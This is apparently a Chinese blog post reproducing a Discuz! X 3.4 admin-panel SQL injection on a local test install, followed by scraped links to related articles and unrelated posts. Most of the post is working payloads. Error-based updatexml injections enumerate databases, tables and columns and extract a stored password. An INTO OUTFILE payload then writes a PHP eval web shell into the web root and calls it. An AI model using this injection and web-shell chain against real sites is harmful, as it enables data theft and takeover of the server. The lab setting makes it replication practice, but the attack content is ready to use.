圈子某位大佬公布的0day,拿来刷一刷,漏洞分析请移步大佬文章。
大佬链接

0x01 环境准备

1、首先去码云下载最新版本的discuz(DiscuzX 3.4 R20191201)。

2、将upaod放置到网站目录下,访问安装目录安装即可。

0x02 漏洞复现

点击站长--UCenter设置


点击最下面的提交进行抓包

判断列数

1'  order by 1   //返回正确
1' order by 2 //返回错误

查询当前用户

1' and updatexml(1,concat(0x7e,(SELECT user())),1)-- a

查询版本

1' and updatexml(1,concat(0x7e,(SELECT version())),1)-- a

查询数据库

1' and updatexml(1,concat(0x7e,(select schema_name from information_schema.schemata limit 0,1)),1)-- a    //mysql
1' and updatexml(1,concat(0x7e,(select schema_name from information_schema.schemata limit 1,1)),1)-- a //information_schema
1' and updatexml(1,concat(0x7e,(select schema_name from information_schema.schemata limit 2,1)),1)-- a //performance_schema
1' and updatexml(1,concat(0x7e,(select schema_name from information_schema.schemata limit 3,1)),1)-- a //sys
1' and updatexml(1,concat(0x7e,(select schema_name from information_schema.schemata limit 4,1)),1)-- a //test
1' and updatexml(1,concat(0x7e,(select schema_name from information_schema.schemata limit 5,1)),1)-- a //ultrax
1' and updatexml(1,concat(0x7e,(select schema_name from information_schema.schemata limit 6,1)),1)-- a //空

可以发现,共有6个库

查询数据表

这里随便找了一个库测试的,test库只有一个表。

1' and updatexml(1,concat(0x7e,(select TABLE_NAME from information_schema.tables where TABLE_SCHEMA='test' limit 0,1)),1)-- a   //users
1' and updatexml(1,concat(0x7e,(select TABLE_NAME from information_schema.tables where TABLE_SCHEMA='test' limit 1,1)),1)-- a //空

1' and updatexml(1,concat(0x7e,(select group_concat(TABLE_NAME) from information_schema.tables where TABLE_SCHEMA='mysql')),1)-- a

查询字段

1' and updatexml(1,concat(0x7e,(select group_concat(COLUMN_NAME) from information_schema.COLUMNS where TABLE_NAME='users')),1)-- a



这个没显示全

1' and updatexml(1,concat(0x7e,(select COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME='users' limit 2,1)),1)-- a     //user

1' and updatexml(1,concat(0x7e,(select COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME='users' limit 5,1)),1)-- a  //password

爆字段值

1' and updatexml(1,concat(0x7e,(select password from test.users limit 1,1)),1)-- a

成功搞到密码test123

写入文件

Payload:

1' into outfile 'c:\\wamp64\\tmp\\1.txt'  -- a

emmmm....

The MySQL server is running with the --secure-file-priv option so it cannot execute this statement

查看一下secure-file-priv配置

show variables like '%secure%';

secure_file_priv的值为null,那么secure_file_priv这里都有什么设置呢

  1. secure_file_priv为null 表示不允许导入导出
  2. secure_file_priv指定文件夹时,表示mysql的导入导出只能发生在指定的文件夹
  3. secure_file_priv没有设置时,则表示没有任何限制

修改mysql.ini文件,加入如下语句

secure_file_priv=''



重启mysql服务

1' union select '<?php eval($_GET[1])?>' into outfile 'C:\\phpstudy_pro\\WWW\\discuz\\1.php'  -- a

http://192.168.91.149/discuz/1.php?1=phpinfo();

0x03 结束

吐槽一下,手注真麻烦,还是sqlmap好玩。

Discuz!X系列全版本后台sql注入复现的更多相关文章

  1. 【漏洞分析】Discuz! X系列全版本后台SQL注入漏洞

    0x01漏洞描述 Discuz!X全版本存在SQL注入漏洞.漏洞产生的原因是source\admincp\admincp_setting.php在处理$settingnew['uc']['appid' ...

  2. 后台SQL注入实例

    简要描述: 汉庭连锁酒店后台SQL注入,可绕过登陆限制进入后台,可脱库. 详细说明: 问题发生在这个站点.http://miaosha.htinns.com/ 标题内没有写具体信息.因为怕发布后被人入 ...

  3. [漏洞分析]thinkcmf 1.6.0版本从sql注入到任意代码执行

    0x00 前言 该漏洞源于某真实案例,虽然攻击没有用到该漏洞,但在分析攻击之后对该版本的cmf审计之后发现了,也算是有点机遇巧合的味道,我没去找漏洞,漏洞找上了我XD thinkcmf 已经非常久远了 ...

  4. DEDECMS 5.7之前版本远程SQL注入漏洞

    2012/4/29 凌晨 知道创宇安全研究团队截获到最新DEDECMS SQL注入 0day,官网目前提供下载的最新版5.7也受影响,截止本告警发出时官方尚未给出补丁或解决方案,此漏洞利用简单且ded ...

  5. [SQL SERVER系列]读书笔记之SQL注入漏洞和SQL调优

    最近读了程序员的SQL金典这本书,觉得里面的SQL注入漏洞和SQL调优总结得不错,下面简单讨论下SQL注入漏洞和SQL调优. 1. SQL注入漏洞 由于“'1'='1'”这个表达式永远返回 true, ...

  6. PHP漏洞全解(五)-SQL注入攻击

    本文主要介绍针对PHP网站的SQL注入攻击.所谓的SQL注入攻击,即一部分程序员在编写代码的时候,没有对用户输入数据的合法性进行判断,使应用程序存在安全隐患.用户可以提交一段数据库查询代码,根据程序返 ...

  7. ourphp 最新版(v1.7.3) 后台sql注入

    version:<?php /******************************************************************************* * ...

  8. 74cms v3.3 后台SQL注入

    注入存在于后台 admin_baiduxml.php 代码 52-63行 elseif($act == 'setsave') { $_POST['xmlmax']=intval($_POST['xml ...

  9. Java 后台sql注入

    JdbcTemplate.update(sql, ArrayList.toArray()) Connection conn = null; PreparedStatement ps = null; c ...

随机推荐

  1. ybt的坑

    emmmm ybt 字符串处理 例2题解错了 AC自动机板子错了(据说) 另外字符串处理的题解写的我一脸懵逼 网站上eeeee 点击查看E. 1.排队接水 #include <iostream& ...

  2. find+grep+正则表达式

    目录 find+grep+正则表达式 1.find 2.grep 3.正则表达式 find+grep+正则表达式 1.find 根据文件的名称或者属性查找文件. # 自己在 /root/adc目录下长 ...

  3. 有个姑娘叫history

    文章目录 常用参数 history的一些用法 修改history命令默认保存的数量 来给history穿衣服 让我们重新认识一下history history命令用于显示用户以前执行过的历史命令,并且 ...

  4. Python基础—文件操作(Day8)

    一.文件操作参数 1.文件路径 1)绝对路径:从根目录开始一级一级查找直到找到文件. f=open('e:\文件操作笔记.txt',encoding='utf-8',mode='r') content ...

  5. Nginx安装启用

    安装版本为1.17.8. 1.安装Nginx依赖, pcre. openssl. gcc. zlib(推荐使⽤yum源⾃动安装) yum -y install gcc zlib zlib-devel ...

  6. Session、Session共享、Token演变

    巨人的肩膀 深夜,我偷听到程序员要对session下手-- (qq.com)

  7. ASPack壳脱壳实验

    实验目的 1.学会使用相关软件工具,手动脱ASPack壳. 2.不要用PEiD查入口,单步跟踪,提高手动找入口能力. 实验内容 手动对文件"ASPack 2.12 - Alexey Solo ...

  8. 【C# 线程】内存屏障 MemoryBarrier

    背景 同步基元分为用户模式和内核模式 用户模式:Iterlocked.Exchange(互锁).SpinLocked(自旋锁).易变构造(volatile关键字.volatile类.Thread.Vo ...

  9. MyEclipse 启动tomcat本地服务,debug模式,代码一直不同步

    今天写代码遇到一个问题,上午还能正常运行的代码,在eclipse中显示正常,但在游览器中就出现了差异,在网上找了很多方法: 1.add and remove项目,清理tomcat部署目录下的项目,清理 ...

  10. 设计模式(一) 灵活的javaScript语言

    首先先看几个函数: function checkName () {){}// 验证姓名 function checkEmail() {} // 验证邮箱 function checkPassword( ...